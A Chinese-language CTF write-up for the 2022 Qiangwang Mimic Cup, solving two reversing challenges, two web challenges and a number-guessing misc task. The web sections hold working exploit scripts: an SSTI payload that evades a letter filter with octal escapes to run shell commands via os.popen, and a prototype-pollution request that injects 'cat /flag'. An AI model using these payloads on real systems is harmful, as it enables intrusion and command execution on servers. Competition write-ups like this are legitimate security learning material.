[CTF] 2022 第五届强网拟态杯 WP

[Re] Comeongo

反编译找到两串疑似密文的字符串

image

动调跟随逻辑到这里

image

可以知道name和passwd都是16位字符串

image

继续往下走, check1中的加密有一个字母表, 特点是无0和O, 可以猜到是base58加密

image

尝试后可以知道这一段是name[:8]+passwd[:8], 动调测试发现正确

image

name[:8] = GoM0bi13
passwd[:8] = G3tItEzF

第二段密文

b64Decode(X051YmNmRnE=)= _NubcfFq

输入GoM0bi13aaaa0000G3tItEzFaaaa0000可以发现加密成了

image

image

也就是八个m, 说明这里加密的是name[8:12]+passwd[8:12], 并且对字母进行了一定偏移, 这里直接打表

abcdefghijklmnopqrstuvwxyz
mnopqrstuvwxybcdefghijklmn

对照后看得出_NubcfFq是_BinorRe

所以name[8:12]=_Bin, passwd[8:12]=orRe

name[:12] = GoM0bi13_Bin
passwd[:12] = G3tItEzForRe

继续动调后面两位, 可以发现加密对应关系

name[12] a→0xD7 b→0xD8 c→0xD9 … z→0xF0 … A→0xB7
name[13] a→A9

密文是0xDD和0x8F, 所以name[12:14]=gGo1

继续读代码, 可以发现两个逻辑, 一个是name[-2]+passwd[-2]的和是确定的等于159, 第二个是name[-2]-passwd[-2]的差是确定的63, 解方程出来可以知道是name[-2]=o, passwd[-2]=0, 同理name[-1]+passwd[-1]=97name[-1]-passwd[-1]=0x1F解得name[-1]=@, passwd[-1]=!

此时基本解密完成:

name = GoM0bi13_BingGo@
passwd = G3tItEzForRe??0!

直接测试发现出现多解了(旧附件)

image

最后猜测为flag{GoM0bi13_BingGo@G3tItEzForRevG0!}

[Re] unlambda

结构:I(xxxxxxxx) 返回一个数组中的T或者F

可以把I改成I = x(lambda _:_ + 1)(0)返回的就是数组下标了

然后把每个check当做字符串处理, 提取出I(xxxxxxxx), 利用eval执行, 获得执行结果(下标), 就可以将其替换成arr[x]

继续寻找逻辑发现每一个I之前都会有一段l(l(l(l(l))))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))))(l(l(l(l))))))(l(l(l(l(l))))))(l(l(l(l)))(l(l(l(l)))))

测试发现l(l(l(l(l))))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))))(l(l(l(l))))))(l(l(l(l(l))))))(l(l(l(l)))(l(l(l(l)))))(T/F)(a)(b)相当于执行T/F

image

所以为了方便处理可以把l(l(l(l(l))))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))))(l(l(l(l))))))(l(l(l(l(l))))))(l(l(l(l)))(l(l(l(l)))))(xxx)正则替换成run(xxx)

import re

arr = []
l = lambda x : (x (lambda y : lambda a: lambda b : (y (b)) (a (b))))(lambda c : lambda __: c)

I = lambda x : x(lambda _:_ + 1)(0)


subed = ""
cnt = 0
with open('var.txt', 'r') as f: # var.txt每一行对应了一个check变量的值
    content = f.read()
    c = 0
    while c < len(content.strip()):
        if content[c] != "I":
            subed += content[c]
            c += 1
        else:
            c += 2
            stack = 1
            code = "I("
            while stack != 0:
                if content[c] == "(":
                    stack += 1
                elif content[c] == ")":
                    stack -= 1
                code += content[c]
                c += 1
            result = eval(code)
            subed += f"arr[{str(result)}]"
subed = subed.replace("l(l(l(l(l))))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))))(l(l(l(l))))))(l(l(l(l(l))))))(l(l(l(l)))(l(l(l(l)))))","run")
print(subed)

现在check0长这样:

run(arr[6])(l(l(l(l)))(l(l)))(run(arr[24])(l(l(l(l)))(l(l)))(run(arr[30])(l(l(l(l)))(l(l)))(run(arr[37])(l(l(l(l)))(l(l)))(run(arr[16])(l(l(l(l)))(l(l)))(run(arr[41])(l(l(l(l)))(l(l)))(run(arr[10])(run(arr[47])(run(arr[0])(run(arr[38])(l(l(l(l)))(l(l)))(run(arr[7])(run(arr[23])(run(arr[27])(run(arr[40])(l(l(l(l)))(l(l)))(run(arr[57])(run(arr[31])(run(arr[9])(run(arr[12])(l(l(l(l)))(l(l)))(run(arr[28])(l(l(l(l)))(l(l)))(run(arr[46])(l(l(l(l)))(l(l)))(run(arr[59])(run(arr[61])(l(l(l(l)))(l(l)))(run(arr[22])(l(l(l(l)))(l(l)))(run(arr[35])(l(l(l(l)))(l(l)))(run(arr[56])(l(l(l(l)))(l(l)))(run(arr[39])(run(arr[19])(l(l(l(l)))(l(l)))(run(arr[3])(l(l(l(l)))(l(l)))(run(arr[51])(run(arr[63])(run(arr[60])(run(arr[52])(run(arr[29])(l(l(l(l)))(l(l)))(run(arr[62])(l(l(l(l)))(l(l)))(run(arr[13])(l(l(l(l)))(l(l)))(run(arr[34])(run(arr[1])(run(arr[50])(l(l(l(l)))(l(l)))(run(arr[21])(run(arr[11])(run(arr[25])(l(l(l(l)))(l(l)))(run(arr[42])(l(l(l(l)))(l(l)))(run(arr[32])(l(l(l(l)))(l(l)))(run(arr[14])(run(arr[8])(run(arr[58])(l(l(l(l)))(l(l)))(run(arr[5])(run(arr[53])(run(arr[17])(l(l(l(l)))(l(l)))(run(arr[18])(l(l(l(l)))(l(l)))(run(arr[33])(run(arr[15])(run(arr[2])(l(l(l(l)))(l(l)))(run(arr[55])(run(arr[45])(run(arr[26])(l(l(l(l)))(l(l)))(run(arr[4])(run(arr[36])(l(l(l(l)))(l(l)))(run(arr[49])(run(arr[54])(l(l(l(l)))(l(l)))(run(arr[20])(l(l(l(l)))(l(l)))(run(arr[44])(l(l(l(l)))(l(l)))(run(arr[43])(l(l(l(l)))(l(l)))(run(arr[48])(l(l(l(l))))(l(l(l(l)))(l(l))))))))(l(l(l(l)))(l(l)))))(l(l(l(l)))(l(l)))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l))))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l))))))(l(l(l(l)))(l(l))))))))(l(l(l(l)))(l(l)))))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))))))

找到最终节run(arr[48])(l(l(l(l))))(l(l(l(l)))(l(l)))

l(l(l(l)))和F作用是一样的, l(l(l(l)))(l(l))和T的作用是一样的

又因为最后

image

所以最后总返回值必须是run(F), 因此arr[48]这里必须返回l(l(l(l))), 所以arr[48]是F, 也就是0, 这一整段就可以被替换成l(l(l(l))), 然后就变成了run(arr[43])(l(l(l(l)))(l(l)))(l(l(l(l)))), 那么arr[43]就是T, 也就是1, 可以以此类推, 递推下去

exp:

import re
arr = []
l = lambda x : (x (lambda y : lambda a: lambda b : (y (b)) (a (b))))(lambda c : lambda __: c)
I = lambda x : x(lambda _:_ + 1)(0)
subed = ""
with open('var.txt', 'r') as f: # var.txt每一行对应了一个check变量的值
    lines = f.readlines()
    for line in lines:
        content = line.strip()
        c = 0
        while c < len(content.strip()):
            if content[c] != "I":
                subed += content[c]
                c += 1
            else:
                c += 2
                stack = 1
                code = "I("
                while stack != 0:
                    if content[c] == "(":
                        stack += 1
                    elif content[c] == ")":
                        stack -= 1
                    code += content[c]
                    c += 1
                result = eval(code)
                subed += f"arr[{str(result)}]"
        subed = subed.replace("l(l(l(l(l))))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))))(l(l(l(l))))))(l(l(l(l(l))))))(l(l(l(l)))(l(l(l(l)))))","run")
        subed += "))))))" # 怕括号不匹配, 多加几个在后面

        subArr = [0]*64

        while "run" in subed:
            if len(re.findall(r"run\(arr\[([0-9]*)\]\)\(l\(l\(l\(l\)\)\)\)\(l\(l\(l\(l\)\)\)\(l\(l\)\)\)", subed)) > 0:
                index = int(re.findall(r"run\(arr\[([0-9]*)\]\)\(l\(l\(l\(l\)\)\)\)\(l\(l\(l\(l\)\)\)\(l\(l\)\)\)", subed)[0])
                subed = subed.replace(f"run(arr[{index}])(l(l(l(l))))(l(l(l(l)))(l(l)))", f"l(l(l(l)))")
                subArr[index] = 0
            else:
                index = int(re.findall(r"run\(arr\[([0-9]*)\]\)\(l\(l\(l\(l\)\)\)\(l\(l\)\)\)\(l\(l\(l\(l\)\)\)\)", subed)[0])
                subed = subed.replace(f"run(arr[{index}])(l(l(l(l)))(l(l)))(l(l(l(l))))", f"l(l(l(l)))")
                subArr[index] = 1
        arr.extend(subArr)

flag = ""
for i in range(0, len(arr), 8):
    c = arr[i+7] << 7 | arr[i+6] << 6 | arr[i+5] << 5 | arr[i+4] << 4 | arr[i+3] << 3 | arr[i+2] << 2 | arr[i+1] << 1 | arr[i]
    flag += chr(c)
print(flag)

[Web] 没有人比我更懂py

image

可以发现有ssti, 但是屏蔽了所有英文字母, 只有中文/符号/数字可以用.

采用八进制转义就能绕过限制

image

通过{{""["__class__"]["__mro__"][1]["__subclasses__"]()}}扒下所有的可用类, 找到了一个warnings.catch_warnings可以用来任意代码执行, 下标是213

shell.py

import requests
import re

def prepare_payload(payload):
    res = ""
    for c in payload:
        if c.isalpha():
            res += "\\"+oct(ord(c))[2:]
        else:
            res += c
    return res

while True:
	cmd = str(input())
	payload = r"""{{""["__class__"]["__mro__"][1]["__subclasses__"]()[213]["__init__"]['__globals__']['__builtins__']['eval']("__import__('os').popen('"""+cmd+"""').read()")}}"""
	data = {"data": f"{prepare_payload(payload)}"}
	url = "http://172.51.227.173/"
	x = requests.post(url=url, data=data)

	res = re.findall(r'        <p>(.*)</p>', x.text,re.S)[0]
	print(res)

[Web] WHOYOUARE

if (typeof cmd !== 'string' || cmd.length > 4 ||RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i])) {
    return false;
}

可以发现cmd长度限定了4

找了个CVE, 可以通过构造原型链来绕过Deny of service via malicious Content-Type

exp.py

import json, requests

command = {
    'constructor': {
        'prototype': {
            '2': 'cat /flag'
        }
    },
    'command': ['-c', '-c']
}

cmd = {"user": json.dumps(command)}
url = "http://addr/user"
res = requests.post(url=url, json=cmd)
res = res.json()
print(res)

[Misc] babyMisc

猜数字, 有次数限制, 一直二分试就行了, 不到一分钟就跑出来了

image

from pwn import *

def main():
    r = remote('172.51.227.55', 9999)

    min = 0
    max = 999999
    r.recvline()
    r.sendline(b"Y")
    r.recvline()
    r.recvline()
    while True:
        r.sendline(str(int((min+max)/2)))
        x = str(r.recvline())
        if "low" in x:
            min = int((min+max)/2)
        elif "up" in x:
            max = int((min+max)/2)
        else:
            print(int((min+max)/2))
            break
        print(f"{min} {max} {x}")
    return r, x

x = "lost"
while "lost" in x:
    r, x = main()
    
r.interactive()
posted @ 2022-11-06 16:21  Tim厉  阅读(371)  评论(0编辑  收藏  举报